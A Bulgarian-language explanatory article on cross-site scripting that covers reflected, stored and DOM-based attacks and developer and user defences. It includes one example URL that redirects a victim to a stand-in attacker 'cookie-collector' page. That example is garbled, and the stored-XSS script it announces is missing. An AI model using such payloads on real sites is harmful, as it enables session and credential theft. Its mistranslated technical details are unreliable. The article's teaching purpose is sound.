Как хакерите използват скриптове на различни сайтове, за да разбиват уебсайтове и да крадат данни

Кръстосаните скриптове или XSS могат да бъдат мощна и бърза атака. Като разработчик може дори да го приемете за грешка във вашия код и в крайна сметка да търсите грешки, които не са там.

Като клиент, използващ уязвимия уебсайт, можете също така невинно да разкривате жизненоважна информация за вашия достъп за удостоверяване до нападателя.

И така, какво е скриптове между сайтове? Как хакерите могат да го използват, за да проникнат в уебсайт и да откраднат вашите данни? И как можете да смекчите такъв риск?

Какво е скрипт между сайтове?

Скриптове между сайтове или XSS се случват, ако скриптът от злонамерен уебсайт взаимодейства с код на уязвим.

Но сървърите са свързани по начин, който пречи на хората без удостоверяване да имат достъп и да редактират изходния код на вашия уебсайт.

Интернет използва същата политика за произход (SOP), за да блокира междусайтовите взаимодействия. SOP обаче проверява три основни вратички в сигурността и се опитва да ги смекчи. Те са:

• Политика за интернет протокол, която проверява дали двата уебсайта доставят съдържание на защитен SSL (HTTPS) или несигурен URL адрес (HTTP).
  instagram viewer
• Една и съща политика за уеб хост, която гарантира, че хоствате и двата уебсайта в един и същи домейн.
• Политиката на портовете, която проверява дали и двата уебсайта използват подобни крайни точки за комуникация.

SOP счита, че ако някоя от тези политики е различна за всеки два уебсайта, те не могат да четат или обменят данни през мрежата.

Но JavaScript е манипулативен език, който определя реакцията на уебсайта. Докато JavaScript на вашия уебсайт е най-вероятно в отделен файл, можете също да създадете таг на скрипт и да го запишете във вашия обектен модел на документ (DOM).

Така че нападателят на XSS може да си помисли: „ако можете да напишете JavaScript в DOM, в крайна сметка можете да го изпълните в всеки редактор на код или поле за въвеждане, което приема HTML тагове. "

Подобна уязвимост и шанс е това, за което се грижи атакуващият, използващ XSS, на целевия уебсайт. След като намерят такава вратичка, те могат да заобиколят SOP.

Свързани: The Ultimate JavaScript Cheat Sheet

Следователно XSS е атака, която похитителите използват, за да инжектират скрипт, който извършва злонамерено действие в уязвим уебсайт. Скриптът може да насочва към незащитени формуляри или полета за въвеждане, които приемат данни.

Как работят и видовете скриптове между сайтове, с примери

XSS може да бъде бързо изпълнение на отразен или временен скрипт, който нападателят поставя във форми като полета за търсене. Той може да бъде и заяждащ или постоянен, инжектиран в базата данни. Или може да дойде пасивно след зареждане на страница.

В някои случаи този скрипт може също да промени оригиналния вход на жертвата, за да отклони намерението им. Постоянна промяна във входовете на потребителя като тази е мутиращ XSS.

Под каквато и форма да е, целта на XSS атака е да открадне данните на жертвата чрез открити бисквитки и регистрационни файлове.

Нека разгледаме кратко обяснение на всеки от тези XSS типове атаки и техните примери, за да разберем какви са те.

Какво е отразеният XSS?

Отразеният или временен XSS е директно впръскване на JavaScript в полето за въвеждане на потребителя. Той е насочен към заявки, които получават данни от базата данни, като резултати от търсенето. Но това е атака с един клиент-цел.

По време на отразения XSS, нападателят вмъква скрипт в думата за търсене на жертва-мишена. Такъв JavaScript може да е ехо, пренасочване или събирач на бисквитки.

След това скриптът, инжектиран в полето за въвеждане на търсене, се изпълнява веднага щом целевият клиент изпрати заявката си.

Например, по време на търсене на потребител, нападателят може да вмъкне JavaScript, който отеква форма, като поиска жертвата да въведе паролата или потребителското си име. След като потребителят направи това, може в крайна сметка да предаде своите идентификационни данни несъзнателно на нападател, мислейки, че това е заявка от оригиналния сайт.

Понякога нападателят може да използва и скрипт, за да пренасочи потребител от уязвимата страница към неговата страница. Там на страницата на нападателя, нищо неподозиращ потребител може след това да бъде измамен да подаде няколко формуляра, което води до изтичане на идентификационни данни.

По същия начин, ако целта е да се открадне сесия на потребител, нападателят инжектира скрипт за събиране на бисквитки в думата за търсене на потребителя. След това те отвличат текущата сесия на потребителя, крадат съответната информация и поемат дейностите на жертвата.

Примерът XSS атака по-долу краде бисквитка на потребител чрез GET заявка:

http://vulnerablesite.com/?query=windows.location.replace("http://attackerswebpage.com/cookie-collector")

В примера XSS по-горе нападателят намира вратичка в уязвимия уебсайт. Така че, когато потребител търси недостъпен ресурс на уязвимия сайт, той ги пренасочва към страницата на нападателя. След това нападателят докосва бисквитката на текущия потребител и грабва сесията им.

Тази уязвимост обаче е често срещана, когато действието на заявката на даден сайт не се филтрира, за да се проверят инжекциите на скриптове чрез HTML.

Но дори и да има филтрирана заявка, нападателят може да го заобиколи, като прибегне до отчаяни мерки като изпращане на връзки към възможни потребители на уебсайт в реално време. Те могат да направят това, използвайки всеки форма на социално инженерство достъпни за тях.

Свързани: Какво да правите, след като падате за фишинг атака

След като жертвите щракнат върху такава връзка, похитителят вече може успешно да изпълни XSS атаката и да открадне съответните данни от жертвата.

Постоянните или съхранени скриптове между сайтове

Съхраненият XSS крие повече заплахи. В този случай нападателят съхранява скрипта в базата данни на уебсайт, задействайки трайно изпълнение на съхранения скрипт. Съхраненият код може да работи при зареждане на страница или след зареждане на страницата.

За разлика от временната форма на XSS, съхраненият XSS е насочен към цялата потребителска база на уязвимия уебсайт. В допълнение към това той цели и целостта на засегнатия уебсайт.

По време на постоянен XSS, нападателят използва полета за въвеждане като формуляри за коментари, за да публикува скрипта в базата данни на уебсайт.

Но какво, ако защитите POST полетата с CSRF токени? За съжаление, съхраняваните скриптове между сайтове заобикалят проверките на CSRF.

Това е така, защото нападателят изпраща формуляр като всеки друг потребител на уебсайта. Така че, такъв формуляр за коментар изпраща скрипта към базата данни, както и всички останали коментари.

Такава атака може да се случи, когато полетата за въвеждане на уебсайт не използват подходящи дезинфектанти за избягване на скриптове и HTML тагове.

Представете си потребител, който публикува скрипта по-долу, използвайки формуляр за уеб коментар:

Когато нападателят вмъква подобен код в базата данни на уебсайт, той продължава да пренасочва жертва към уебсайта на нападателя при зареждане на страницата. Скриптът може също да бъде сигнал, интерактивна модална кутия или вградена злонамерена реклама.

Тъй като скриптът пренасочва при зареждане на страница, жертва, която не е запозната с уязвимия уебсайт, може да не успее да забележи пренасочването.

След това те продължават да взаимодействат с уебсайта на нападателя. Впоследствие обаче похитителят може да използва няколко начина, за да получи информация от жертвите, след като те са на тяхната уеб страница.

Какво е DOM или пасивен XSS?

Базираният на DOM XSS изпълнява злонамерен код, вграден в уебсайта, принуждавайки целия DOM от страна на клиента да се държи необичайно.

Докато се съхранява и отразява XSS е насочен към сървърни заявки на уебсайт, DOM XSS е насочен към дейности по време на изпълнение. Той работи чрез вмъкване на скрипт в компонента на уебсайта, който изпълнява определена задача. Този компонент не изпълнява действие от страна на сървъра.

Обаче скриптът, вмъкнат в такъв компонент, променя напълно намерението си. Ако този компонент изпълнява задача, свързана с DOM, като тези, които променят елементите на уебсайт, скриптът може да принуди цялата уеб страница да се промени.

В по-лоши случаи базиран на DOM XSS може да имитира грешка. Това е така, защото уеб страницата става необичайно реактивна.

Как да предотвратим атака на скриптове между сайтове

Уязвимостта на XSS идва от неправилно използване на най-добрите бекенд практики. Така че предотвратяването на атака на скриптове между сайтове обикновено е отговорност на разработчика. Но потребителите също имат роля.

Използването на CSFR токен за полета за въвеждане не изглежда като решение за XSS атаки. И тъй като тази атака също заобикаля Политиката за същия произход, разработчиците трябва да внимават да не пропускат практиките за сигурност, които предотвратяват XSS.

Следните превантивни мерки са полезни за разработчиците.

Дезинфекцирайте полетата за въвеждане

За да предотвратите както съхранените, така и временните XSS, трябва да използвате ефективни дезинфектанти за полета за въвеждане. Дезинфекцирането на заявките за търсене например предотвратява впръскването на маркери в думите за търсене на потребителите.

Използвайте Unicode и HTML Auto Escape

Полезно е да използвате HTML и Unicode автоматично избягване, за да предотвратите полетата за въвеждане като формуляри за коментари и преобразуване да приемат скриптове и HTML тагове. Автоматичното бягство е мощна превантивна мярка срещу съхраняван или постоянен XSS.

Разрешаването на потребителите да вмъкват тагове във формуляри за коментари е лоша идея за всеки уебсайт. Това е нарушение на сигурността. Ако обаче трябва да позволите това, трябва да приемате само маркери, които не представляват XSS заплахи.

Използвайте подходяща проверка на входа

Дори ако блокирате етикетите напълно, нападателят пак може да извърши XSS атака чрез социални средства. Те могат да изпращат имейли, вместо да поставят нещо директно на уязвимия уебсайт.

Така че друг метод за предотвратяване е ефективното потвърждаване на входните данни. Такива мерки включват валидиране на протоколи и гарантиране, че вашият уебсайт приема само входни данни от защитен HTTPS, а не HTTP.

Използването на специализирани JavaScript библиотеки като dompurify също може да помогне за блокиране на нарушения на сигурността, свързани с XSS.

Можете да използвате инструменти като XSS скенер или GEEKFLARE за да проверите за уязвимости на XSS на вашия уебсайт.

Как потребителите могат да предотвратят XSS

Днес в интернет има милиони уебсайтове. Така че трудно можете да разберете кой има проблеми със сигурността на XSS.

Като потребител обаче трябва да се уверите, че сте запознати с която и да е уеб услуга, преди да я използвате. Ако дадена уеб страница изведнъж стане страховита или започне да се държи необичайно, това може да е червен флаг.

Какъвто и да е случаят, внимавайте да не разкривате лични данни с ненадеждна трета страна. След това бъдете нащрек за нежелани имейли или подозрителни публикации в социалните медии, които могат да доведат до всякакви форма на фишинг атаки.

Нито един превантивен метод не отговаря на всички

Видяхме как изглежда XSS атака и как да я предотвратим. Лесно е да забравите проверките за сигурност на XSS по време на разработката. Така че разработчиците трябва да предприемат стъпки, за да гарантират, че защитата не е пропусната. Въпреки това, комбинация от превантивни мерки, които изброихме по-рано, работи по-добре.

Какво представляват CSRF атаките и как можете да ги предотвратите?

За да спрете да губите пари и идентификационни данни при CSRF атаки, както разработчиците, така и потребителите трябва да играят роля.

За автора